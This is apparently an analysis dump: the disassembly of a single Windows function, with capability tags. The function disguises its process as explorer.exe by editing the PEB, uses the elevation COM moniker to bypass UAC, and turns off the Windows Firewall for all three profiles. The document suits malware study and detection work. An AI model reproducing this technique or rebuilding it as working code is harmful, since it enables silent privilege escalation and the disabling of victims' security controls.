Function at 0x140001190
Capabilities:
Access firewall policy via inetfwpolicy2
Link many functions at runtime
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x260]
sub rsp, 0x360
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x250], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
je 0x140001528
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005680], rax
test rax, rax
jne 0x140001200
lea rcx, str.Could_not_find_RtlInitUnicodeString_entry_point_in_NTDLL.DLL
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.RtlEnterCriticalSection
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005668], rax
test rax, rax
jne 0x140001231
lea rcx, str.Could_not_find_RtlEnterCriticalSection_entry_point_in_NTDLL.DLL
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.RtlLeaveCriticalSection
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005660], rax
test rax, rax
jne 0x140001262
lea rcx, str.Could_not_find_RtlLeaveCriticalSection_entry_point_in_NTDLL.DLL
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.LdrEnumerateLoadedModules
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005670], rax
test rax, rax
jne 0x140001293
lea rcx, str.Could_not_find_LdrEnumerateLoadedModules_entry_point_in_NTDLL.DLL
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005678], rax
test rax, rax
jne 0x1400012c4
lea rcx, str.Could_not_find_NtAllocateVirtualMemory_entry_point_in_NTDLL.DLL
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rax, qword gs:[0x30]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x370], rdi
lea rdx, [rsp + 0x38]
xor edi, edi
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
mov rbx, qword [rax + 0x60]
mov qword [rsp + 0x38], rdi
lea rcx, [rdi - 1]
mov qword [rsp + 0x70], 0x1000
call qword [0x140005678]
test eax, eax
js 0x140001379
mov rcx, qword [rbx + 0x38]
call qword [0x140005668]
mov rcx, qword [rbx + 0x20]
lea rdx, str.C:windowsexplorer.exe
add rcx, 0x60
call qword [0x140005680]
mov rcx, qword [rbx + 0x20]
lea rdx, str.C:windowsexplorer.exe
add rcx, 0x70
call qword [0x140005680]
mov rcx, qword [rbx + 0x20]
lea rdx, str.C:windows_system32
add rcx, 0x38
call qword [0x140005680]
mov rcx, qword [rbx + 0x38]
call qword [0x140005660]
mov r8, rbx
lea rdx, [0x140001130]
xor ecx, ecx
call qword [0x140005670]
mov edx, 2
mov qword [rsp + 0x30], rdi
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov edi, eax
mov eax, 0x80000000
lea ecx, [rdi + rax]
test eax, ecx
jne 0x1400013c8
cmp edi, 0x80010106
je 0x1400013c8
mov edx, edi
lea rcx, str.CoInitializeEx_failed:_0x_08lx_n
call fcn.140001010
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400014fe
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x1400014fe
xor edx, edx
lea rax, [rsp + 0x30]
lea r9, [0x140003658]
mov qword [rsp + 0x20], rax
lea rcx, [0x140003668]
lea r8d, [rdx + 0x17]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x140001407
mov edx, eax
lea rcx, str.CoCreateInstance_for_INetFwPolicy2_failed:_0x_08lx_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov r8d, 0x32
lea rdx, [rbp - 0x80]
lea rcx, [0x140003668]
mov rbx, rax
call qword [sym.imp.ole32.dll_StringFromGUID2]
lea r9, [rbp - 0x80]
mov edx, 0x12c
lea r8, str.Elevation:Administrator_new:_s
lea rcx, [rbp - 0x10]
call fcn.140001070
xorps xmm0, xmm0
mov dword [rsp + 0x40], 0x30
xorps xmm1, xmm1
mov qword [rsp + 0x68], rbx
lea r9, [rsp + 0x30]
mov dword [rsp + 0x54], 4
lea r8, [0x140003658]
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x10]
movdqu xmmword [rsp + 0x44], xmm0
movdqu xmmword [rsp + 0x58], xmm1
call qword [sym.imp.ole32.dll_CoGetObject]
mov rcx, qword [rsp + 0x30]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 1]
call qword [rax + 0x48]
test eax, eax
jns 0x1400014a1
lea rcx, str.put_FirewallEnabled_failed_for_Domain:_0x_08lx_n
jmp 0x1400014dd
mov rcx, qword [rsp + 0x30]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 2]
call qword [rax + 0x48]
test eax, eax
jns 0x1400014c0
lea rcx, str.put_FirewallEnabled_failed_for_Private:_0x_08lx_n
jmp 0x1400014dd
mov rcx, qword [rsp + 0x30]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 4]
call qword [rax + 0x48]
test eax, eax
jns 0x1400014fe
lea rcx, str.put_FirewallEnabled_failed_for_Public:_0x_08lx_n
mov edx, eax
call fcn.140001010
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400014f4
mov rax, qword [rcx]
call qword [rax + 0x10]
test edi, edi
js 0x1400014fe
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rdi, qword [rsp + 0x370]
xor eax, eax
mov rcx, qword [rbp + 0x250]
xor rcx, rsp
call fcn.140001550
mov rbx, qword [rsp + 0x378]
add rsp, 0x360
pop rbp
ret
lea rcx, str.Could_not_GetModuleHandle_of_NTDLL.DLL
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3